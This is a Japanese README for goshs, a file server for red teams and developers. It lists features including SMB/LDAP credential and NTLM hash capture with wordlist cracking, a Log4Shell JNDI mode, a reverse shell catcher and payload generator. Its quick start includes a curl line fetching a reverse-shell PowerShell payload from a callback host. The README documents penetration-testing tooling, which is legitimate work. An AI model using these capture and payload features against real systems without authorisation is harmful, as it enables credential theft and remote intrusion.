
goshs v2.1.6
レッドチームおよび開発者向けの高機能シングルバイナリファイルサーバー。 HTTP/S · WebDAV · FTP/SFTP · SMB · LDAP/S · NTLMハッシュキャプチャ · DNS/SMTPコールバック · TLS · Auth · 共有リンク。強力なpython3 -m http.serverの代替。
あなたはエンゲージメントの最中にいる。ファイルを転送したい、SMBハッシュをキャプチャしたい、あるいは手早くHTTPSサーバーを立ち上げたい——そんなとき、python3 -m http.server では役に立たない。
goshs は、PythonのSimpleHTTPServer以上のものが必要だがApacheを設定したくない、という場面のために作られたシングルバイナリのファイルサーバーだ。HTTP/S、WebDAV、FTP/SFTP、SMB、LDAP/S、ベーシック認証、共有リンク、DNS/SMTPコールバック、NTLMハッシュのキャプチャ+クラッキング——すべてを1つのコマンドから。


デモ
自分で試してみよう: demo.goshs.de

クイックスタート
# Serve the current directory on port 8000
goshs
# Serve with HTTPS (self-signed) and basic auth
goshs -s -ss -b user:password
# Capture SMB hashes
goshs -smb -smb-domain CORP
# Capture LDAP credentials and NTLM hashes (with optional wordlist cracking)
goshs -ldap
goshs -ldap -ldap-wordlist /usr/share/wordlists/rockyou.txt
# Catch DNS callbacks and receive emails
goshs -dns -dns-ip 1.2.3.4 -smtp -smtp-domain your-domain.com
# Self-destruct after 2 hours
goshs --ttl 2h
# Run with the interactive terminal dashboard (great for headless SSH sessions)
goshs --tui
# Serve payloads that auto-fill your callback host/port at download time
goshs -i 10.10.14.7 --template --tpl-var LPORT=4444
# fetch rendered: curl 'http://10.10.14.7:8000/rev.ps1?tpl'
ドキュメント
詳細なドキュメントについては docs.goshs.de をご覧ください。
機能
| 📁 ファイル操作 | ダウンロード(HTTP Range によるレジューム&シーク対応)、アップロード(ドラッグ&ドロップ、POST/PUT)、削除、一括 ZIP、QR コード |
| 🔌 プロトコル | HTTP/S、WebDAV、FTP/SFTP、SMB、LDAP/S |
| 🔒 認証とセキュリティ | Basic 認証、証明書認証、TLS(自己署名、Let's Encrypt、カスタム証明書)、IP ホワイトリスト、ファイルベースの ACL |
| ⚙️ サーバーモード | 読み取り専用、アップロード専用、削除禁止、サイレント、インビジブル、CLI コマンド実行、TTL 自己破壊 |
| 🔗 共有リンク | トークンベースの共有、ダウンロード制限、時間制限 |
| 🎯 コラボレーション / CTF | ライブチームチャット(Markdown、絵文字 + :shortcodes: オートサジェスト、画像貼り付け、ファイルアップロード、リアクション、メッセージ編集、オプションのディスク永続化 — Web ↔ TUI で共有)、DNS サーバー、SMTP サーバー、SMB NTLM ハッシュキャプチャ + クラッキング、LDAP 認証情報キャプチャ + NTLM ハッシュクラッキング(Log4Shell 用 JNDI モード)、リダイレクトエンドポイント、Rev Shell Catcher + ペイロードジェネレーター |
| 🧩 ペイロードテンプレート | {{.LHOST}}/{{.LPORT}} + カスタム --tpl-var 値を配信ファイルにオンデマンドでレンダリング(?tpl) |
| 🔔 連携 | Webhook、localhost.run 経由のトンネル、設定ファイル、JSON API、mDNS |
| 🖥️ TUI ダッシュボード | インタラクティブな全画面ターミナルダッシュボード。HTTP、DNS、SMB、LDAP、SMTP、リバースシェル、チームチャットのライブペイン。ターミナルからシェルをアタッチしてアップグレード可能 |
| 🛠️ その他 | ダーク/ライトテーマ、チームチャット、自己更新、ログ出力、ファイル埋め込み、権限降格 |
インストール
| 方法 | |
|---|---|
| 🐧 curl | sh | curl -sSfL https://goshs.de/install.sh | sh |
| 🦫 Go | go install goshs.de/goshs/v2@latest |
| 🐉 Kali & Parrot OS | sudo apt install goshs |
| 🎗️ Arch Linux (AUR) | yay -S goshs-bin |
| 🖤 BlackArch | pacman -S goshs |
| 🏔️ Alpine Linux (edge) | apk add goshs |
| 🫙 Snap | snap install goshs |
| 🎩 Fedora / RHEL (COPR) | dnf copr enable goshs-labs/goshs && dnf install goshs |
| 🦎 openSUSE | sudo zypper install goshs |
| ❄️ Nix / NixOS | nix-env -iA nixpkgs.goshs |
| 🍺 Homebrew | brew install goshs |
| 🪟 Scoop | scoop bucket add extras && scoop install extras/goshs |
| 🪟 winget | winget install GoshsLabs.Goshs |
| 🍫 Chocolatey | choco install goshs |
| 🐳 Docker | docker run --rm -it -p 8000:8000 -v "$PWD:/pwd" goshs-labs/goshs:latest -d /pwd |
| 📦 リリース | GitHub Releases からダウンロード |
🐚 シェル補完
goshs は bash、fish、zsh 用のタブ補完をインストールできます:
goshs --completion bash
goshs --completion fish
goshs --completion zsh
macOSでHomebrewを使用する場合、正しいHomebrewパスが自動的に使用されます。 インストール後、コマンドは正確なアクティベーション手順を出力します。例:
source ~/.local/share/bash-completion/completions/goshs
🔧 自分でビルドする
同梱のWebアセットはコミット済みのため、通常のビルドはそのまま動作します:
git clone https://github.com/goshs-labs/goshs.git
cd goshs
go build -o goshs .
JavaScript または SCSS のソースを変更した場合は、まず esbuild と sass をインストールした上で、アセットを再ビルドしてください:
make generate
go build -o goshs .
コードコントリビューター
セキュリティコントリビューター
goshs をさらに安全にしてくれた素晴らしいコントリビューターたちです ❤️